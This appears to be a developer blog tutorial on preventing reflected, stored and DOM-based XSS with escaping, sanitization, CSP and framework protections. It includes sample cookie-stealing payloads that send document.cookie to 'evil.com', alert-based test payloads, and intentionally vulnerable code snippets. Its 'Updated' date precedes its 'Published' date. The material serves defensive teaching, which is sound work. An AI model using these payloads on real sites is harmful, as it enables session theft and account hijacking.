# XSS Prevention: A Practical Guide for Web Developers

> Learn how to identify and prevent reflected, stored, and DOM-based XSS attacks using output escaping, HTML sanitization, and Content Security Policy.

- URL: https://www.browserutils.dev/blog/xss-prevention-guide
- Published: 2026-09-28
- Updated: 2026-07-02

---

Cross-Site Scripting (XSS) is a vulnerability that lets an attacker inject malicious JavaScript into a web page so it runs in another user's browser, typically to steal session data or hijack an account. Despite being well-understood for over two decades, it consistently appears in the OWASP Top 10 because web applications handle user input everywhere, and it only takes one unescaped output to create a vulnerability.

This guide covers the three types of XSS, how each one works, and the concrete steps you should take to prevent them in your applications.

## What XSS Actually Does

An XSS attack injects malicious JavaScript into a web page that other users view. Once the script executes in a victim's browser, it can:

- Steal session cookies and authentication tokens
- Redirect users to phishing pages
- Modify the page content to trick users
- Make API requests on behalf of the authenticated user
- Install keyloggers that capture passwords
- Access anything the user's JavaScript can access

The core problem is that the browser cannot distinguish between legitimate scripts you intended to run and injected scripts from an attacker. Both execute with the same privileges.

## The Three Types of XSS

### Reflected XSS

Reflected XSS occurs when user input is immediately included in the page response without proper escaping. The malicious payload is part of the request — typically in a URL parameter — and "reflected" back in the response.

**Example vulnerable code:**

```javascript
// Express.js route - VULNERABLE
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Search results for: ${query}</h1>`);
});
```

An attacker crafts a URL like:

```
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
```

When the victim clicks this link, the server includes the script tag in the HTML response, and the browser executes it.

**How to prevent it:**

- HTML-encode all user input before including it in HTML output
- Use templating engines that auto-escape by default (React, Angular, Jinja2 with autoescape, etc.)

### Stored XSS

Stored XSS is more dangerous because the malicious payload is saved on the server — in a database, file, or cache — and served to every user who views the affected page.

**Common targets:**

- Comment sections
- User profile fields (display names, bios)
- Forum posts
- Product reviews
- Chat messages

**Example:**

An attacker posts a comment containing:

```html
Great article! <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
```

If the application stores and displays this comment without sanitization, every user who views the page executes the attacker's code.

**How to prevent it:**

- Sanitize HTML input before storing it
- Escape output when rendering
- Use an allowlist of permitted HTML tags if rich text is needed

### DOM-Based XSS

DOM XSS happens entirely in the browser, without the malicious payload ever reaching the server. JavaScript code reads from an attacker-controlled source (like `location.hash` or `document.referrer`) and writes it to a dangerous sink (like `innerHTML` or `eval()`).

**Example vulnerable code:**

```javascript
// VULNERABLE - DOM XSS
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = `Welcome, ${name}!`;
```

An attacker sends a link:

```
https://example.com/page?name=<img src=x onerror=alert(document.cookie)>
```

The browser-side JavaScript reads the parameter and writes it directly into the DOM.

**How to prevent it:**

- Use `textContent` instead of `innerHTML` when inserting user-provided text
- Use DOM APIs like `createElement()` and `setAttribute()` instead of string concatenation
- Avoid `eval()`, `setTimeout()` with strings, and `document.write()`

## Escaping: The First Line of Defense

The most fundamental XSS prevention technique is context-aware output escaping. The key word is *context* — the same input needs different escaping depending on where it appears in the page.

### HTML Context

Replace characters that have meaning in HTML with [HTML entities](/glossary/html-entities):

| Character | Escape |
|---|---|
| `<` | `&lt;` |
| `>` | `&gt;` |
| `&` | `&amp;` |
| `"` | `&quot;` |
| `'` | `&#x27;` |

```javascript
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}
```

You can also use our [HTML entity encoder/decoder](/tools/html-encode-decode) to quickly encode strings and see the resulting entities.

### JavaScript Context

Never insert user input directly into JavaScript code:

```html
<!-- VULNERABLE -->
<script>var name = '${userInput}';</script>

<!-- SAFE - use JSON encoding -->
<script>var name = JSON.parse('${JSON.stringify(userInput)}');</script>
```

### URL Context

When inserting user input into URLs, use `encodeURIComponent()`:

```javascript
const redirectUrl = `/page?name=${encodeURIComponent(userInput)}`;
```

Our [URL encoder/decoder](/tools/url-encode-decode) shows exactly how a given string is percent-encoded, which is useful for spotting values that were not encoded correctly.

### CSS Context

User input in CSS can also be dangerous:

```css
/* VULNERABLE */
.element { background: url(${userInput}); }
```

Validate and sanitize CSS values strictly. Never allow arbitrary CSS from users.

## HTML Sanitization

Sometimes you need to allow some HTML — rich text editors, markdown rendering, user-generated content. In these cases, you need a sanitizer that strips dangerous elements and attributes while keeping safe ones.

### DOMPurify

DOMPurify is the gold standard for client-side HTML sanitization:

```javascript
import DOMPurify from 'dompurify';

const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p><img src="x">'
```

Configure it with an allowlist of tags and attributes:

```javascript
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'br'],
  ALLOWED_ATTR: ['href', 'title'],
});
```

### Server-Side Sanitization

Always sanitize on the server side, not just the client. Libraries vary by language:

- **Node.js**: `sanitize-html`, `DOMPurify` with jsdom
- **Python**: `bleach`, `nh3`
- **Ruby**: `sanitize` gem
- **PHP**: `HTMLPurifier`
- **Go**: `bluemonday`

## Content Security Policy (CSP)

[Content Security Policy (CSP)](/glossary/csp) is a defense-in-depth measure. It tells the browser which sources of content are trusted. Even if an XSS payload is injected, a strong CSP can prevent it from executing. For a broader look at CSP alongside other protective headers, see our [security headers guide](/blog/security-headers-guide).

### Basic CSP Header

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
```

### Key Directives

| Directive | Controls |
|---|---|
| `default-src` | Fallback for all other directives |
| `script-src` | JavaScript sources |
| `style-src` | CSS sources |
| `img-src` | Image sources |
| `connect-src` | Fetch, XHR, WebSocket connections |
| `frame-src` | Iframe sources |
| `font-src` | Font file sources |

### Blocking Inline Scripts

The most impactful CSP setting is blocking inline scripts. Most XSS attacks rely on injecting inline `<script>` tags or event handlers. With `script-src 'self'`, only scripts loaded from your domain execute.

If you need inline scripts, use nonces:

```html
Content-Security-Policy: script-src 'nonce-abc123'

<script nonce="abc123">
  // This script executes because the nonce matches
</script>
```

Generate a unique nonce for each response. Never reuse them.

You can build and test your CSP headers using our [CSP header generator](/tools/csp-header-generator). It helps you construct a policy step by step and understand what each directive does. Once deployed, verify the header is actually being sent with the [security headers checker](/tools/security-headers-checker).

## Framework-Specific Protections

### React

React escapes values in JSX by default:

```jsx
// SAFE - React escapes the value
return <p>{userInput}</p>;

// DANGEROUS - bypasses escaping
return <p dangerouslySetInnerHTML={{ __html: userInput }} />;
```

Never use `dangerouslySetInnerHTML` with unsanitized input.

### Angular

Angular sanitizes values automatically:

```html
<!-- SAFE - Angular auto-sanitizes -->
<p>{{ userInput }}</p>

<!-- DANGEROUS - bypasses sanitization -->
<div [innerHTML]="userInput"></div>
```

Use Angular's `DomSanitizer` if you must bind HTML.

### Vue

Vue escapes text interpolation:

```html
<!-- SAFE -->
<p>{{ userInput }}</p>

<!-- DANGEROUS -->
<p v-html="userInput"></p>
```

### Server-Side Templates

Most modern templating engines auto-escape by default:

- **Jinja2**: `{{ value }}` is auto-escaped. `{{ value | safe }}` bypasses escaping.
- **EJS**: `<%= value %>` escapes. `<%- value %>` does not.
- **Go templates**: `{{ . }}` in `html/template` is auto-escaped. `text/template` does not escape.

Know your template engine's default behavior and never bypass escaping without sanitization.

## Additional Protections

### HTTPOnly Cookies

Set the `HttpOnly` flag on session cookies so JavaScript cannot access them:

```
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
```

This does not prevent XSS, but it prevents cookie theft — one of the most common XSS payloads.

### Trusted Types

Trusted Types is a browser API that prevents DOM XSS by requiring dangerous operations to use typed objects instead of raw strings:

```javascript
// Create a policy
const policy = trustedTypes.createPolicy('default', {
  createHTML: (input) => DOMPurify.sanitize(input),
});

// This now requires a TrustedHTML object
element.innerHTML = policy.createHTML(userInput);
```

### Input Validation

Validate input on the server side. If a field should contain an email address, validate that it looks like an email. If it should be a number, parse it as a number. Validation is not a substitute for output escaping, but it reduces the attack surface.

## Testing for XSS

1. **Manual testing**: Try basic payloads like `<script>alert(1)</script>` and `"><img src=x onerror=alert(1)>` in every input field
2. **Automated scanning**: Tools like OWASP ZAP, Burp Suite, and nuclei can find common XSS patterns
3. **Code review**: Search for dangerous sinks like `innerHTML`, `document.write`, `eval`, and `v-html`
4. **CSP reporting**: Use `Content-Security-Policy-Report-Only` to detect violations without breaking functionality

## Summary

XSS prevention requires defense in depth. Escape output based on context, sanitize any HTML you must render, set a strong Content Security Policy, and use framework protections correctly. No single measure is enough — the combination of escaping, sanitization, CSP, and secure cookie flags makes XSS exploitation significantly harder. Test regularly, review code for dangerous patterns, and treat every user input as potentially hostile.